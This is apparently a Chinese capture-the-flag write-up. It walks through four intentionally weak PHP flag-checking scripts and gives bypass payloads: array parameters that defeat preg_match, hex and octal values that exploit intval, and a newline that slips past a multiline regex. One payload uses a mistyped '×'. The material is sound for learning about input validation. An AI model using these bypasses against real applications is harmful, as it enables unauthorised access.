<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
get方式传入num参数,然后通过preg_match判断是否存在数字,如果存在,就die,不存在的话然后intval函数判断整数,通过数组绕过preg_match,因为preg_match无法处理数组,所以payload:
?num[]=1
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
get方式传入num,如果num===4476就die,然后intval判断num,这里看intval函数
intval
(PHP 4, PHP 5, PHP 7)
intval — 获取变量的整数值
说明
int intval( mixed $var[, int $base = 10] )
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
参数
var
要转换成 integer 的数量值
base
转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
• 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
• 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
• 将使用 10 进制 (decimal)。
所以intval是支持不同的进制的,这里base指定是0,那么intval会根据我们输入情况使用进制,
所以这里我就就可以用16进制或八进制表示4476
?num=0×117c //十六进制
?num=010574 //八进制
还有看下边的例子
<?php
echo intval('a123');
echo '-';
echo intval(123);
echo '-';
echo intval('123a');
?>
//0-123-123
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a
,那么intval(“4476a”)也等于4476
所以payload
?num=0x117c //十六进制
?num=010574 //八进制
?num=4476a //字符串
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
看两个preg_match的差别
第一个preg_match(‘/^php/im’, a)
第二个preg_match(‘/^php/i’, a)
差别就在于第一个preg_match多了个/m,/m表示匹配多行数据,就是输入的每一行都被匹配,所以我们可以通过换行(%0a)绕过,最终payload?cmd=1%0aphp
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
首先要求num!=4476,然后intval($num,0)==4476
八进制和十六进制还是可行的
?num=0x117c //十六进制
?num=010574 //八进制